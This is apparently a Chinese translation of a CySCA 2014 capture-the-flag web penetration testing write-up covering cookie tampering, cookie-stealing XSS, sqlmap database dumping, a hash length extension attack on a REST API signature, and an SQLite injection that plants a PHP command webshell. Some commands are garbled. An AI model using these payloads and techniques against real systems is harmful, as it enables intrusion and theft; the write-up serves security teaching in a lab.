from:https://www.cyberchallenge.com.au/CySCA2014_Web_Penetration_Testing.pdf 0x00 背景 一年一度的澳洲CySCA CTF是一个由澳洲政府和澳洲电信Telstra赞助的信息安全挑战赛,主要面向澳洲各大学的安全和计算机科学专业的学生。 CTF环境全部虚拟化并且需要openvpn才能进入。 0x01 第一题 非请勿入 说明: 一个只有VIP用户才能进去的blog,想办法进去后就能看到flag了。 解题: 打开burp和浏览器开始观察目标,我们发现了几个有意思的地方: 有个用户登录页面 login.php blog导航栏里有个博客页面的链接,但是是灰色的无法点击也打不开 cookie有两个,PHPSESSID还有vip=0 cookie没有http only,有可能被xss到 vip=0,这有点明显,用burp或者浏览器cookie编辑工具把vip改成1,刷新页面后那个隐藏的链接可以打开了,打开后就是flag: ComplexKillingInverse411 0x02 第二题 好吃的小甜饼 说明: 用已任何已注册用户的身份成功登录blog。 解题: 翻了翻这个博客,又发现了几个好玩的地方: 可以看博客内容 可以添加回复 用户Sycamore似乎正在看第二篇博客 view=2 Burp的内建插件 intruder可以用来在提交的参数里插入sql注入或者xss代码,Kali中自带了几个xss和sql注入的字典: /usr/share/wfuzz/wordlist/Injections/SQL.txt /usr/share/wfuzz/wordlist/Injections/XSS.txt 用这几个字典里的标准注入语句和xss代码对 GET view=?和 POST comment=?这两个参数过了一遍,没发现任何xss或者注入,于是我们决定对comment这个地方再仔细看看。 comment参数似乎过滤了不少东西,比如去掉了所有引号,转义了全部html特殊字符。但是似乎comment支持markdown语言里的斜体,粗体和链接标签,然后我们用burp intruder的xss测试在下面几个输入里面测试: *test* *test* <test>
果然成功了,在markdown链接标签的链接名称的地方存在XSS: 172.16.1.80 [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 172.16.1.80 [20/Feb/2014 16:11:12] "GET /?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301
伪造cookie刷新后拿到flag: OrganicShantyAbsent505 #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id ... [17:15:55] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c ... [17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id' might be injectable (possible DBMS: 'MySQL') ... heuristic (parsing) test showed that the backend DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n ... [17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND errorbased WHERE or HAVING clause' injectable ... POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
现在我们确认了sqlmap和burp都正确配置了,接下来就可以把库拖下来了。 #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id currentdb current database: 'cysca' #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D cysca tables Database: cysca #> sqlmap r /root/sqlweb3headers [5 tables] +---------------------------------------+ | user | | blogs | | comments | | flag | | rest_api_log | +---------------------------------------+ #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D cysca T flag dump [1 entry] +----------------------+ | flag | +----------------------+ | CeramicDrunkSound667 | +----------------------+ flag: CeramicDrunkSound667
0x04 第四题:Hypertextension #> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D cysca T rest_api_log dump Database: cysca Table: rest_api_log [4 entries] +++ + +++ | id | method | params | api_key | created_on | request_uri | +++ + +++ |1 |POST | contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s ig=235aca08775a2070642013200d70097a | b32GjABvSf1Eiqry | 20140221 09:27:20 | \\/api\\/documents | |2 |GET |_url=%2Fdocuments&id=2 | NULL |3 |POST | contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frestapi.txt&api_sig=95a0e7dbe06 fb7b77b6a1980e2d0ad7d | b32GjABvSf1Eiqry | 20140221 11:54:31 | \\/api\\/documents | |4|PUT | _url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frestapi v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 20140221 12:07:43 | \\/api\\/documents\\/id\\/3 | +++ + +++
利用里面的其中一条,放到curl里面测试一下,根据REST API的文档,curl命令应该是这样的: #> curl X PUT d 'contenttype=text/plain&filepath=./documents/restapiv2.txt&api_sig=6854c04381284dac9970625820a8d32b' H 'XAuth: b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
根据文档,api_sig的值是在php里面生成的: #> ./hashpump s 6854c04381284dac9970625820a8d32b data contenttypetext/plainfilepath./documents/restapiv2.txtid3 a contenttypetext/plainfilepath./index.phpid3 k 16 4625e458d07cb19da70effa3d1c6dc14 contenttypetext/plainfilepath./documents/restapiv2.txtid3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3
我们把每次尝试k值生成的hash和字符串用curl提交到服务器,直到服务器提示成功为止,经过多次测试,我们发现k值是16. #> curl -X PUT -d 'c=ontenttypetext/plainfilepath./documents/restapiv2.txtid3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&filepath=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14' H 'XAuth:b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
接下来我们就成功获取了index.php的 源码(成功的把index.php的源码作为document id 3 保存): #> curl http://172.16.1.80/api/documents/id/3 <?php // Not in production... see /cache.php?access=<secret> include('../lib/caching.php'); if (isset($_GET['debug'])) { readFromCache(); } **** SNIP ****
似乎这个cache.php有点意思,我们改改上面的hash长度攻击利用代码,把index.php换成cache.php,这次我们成功的拿到了flag。 #> curl http://172.16.1.80/api/documents/id/3 **** SNIP **** $flag = 'OrganicPamperSenator877'; if ($_GET['access'] != md5($flag)) { header('Location: /index.php'); die(); } **** SNIP ****
0x05 第五题:注入空间 Injeption(尼玛真难翻译) 说明: '',0);ATTACH DATABASE ''a.php'' AS a;/* */CREATE TABLE a.b (c text);INSERT /* */INTO a.b VALUES(''<? system($''||/* */''_GET[''''cmd'''']); ?>'');/*
当这些标题一个个出现在缓存页面中的时候,我们把缓存页面给缓存了,我们的注入语句就被执行了,并且生成了webshell a.php # > curl http://172.16.1.80/a.php?cmd=cat+/flag.txt CFlag: TryingCrampFibrous963
Web篇完结。 |
-
上一篇: 解析检查 —— 存储型XSS漏洞解决方案 - 网站安全
下一篇: 绕过安全狗继续union注入 - 网站安全 - 自学php
还没有人抢沙发呢~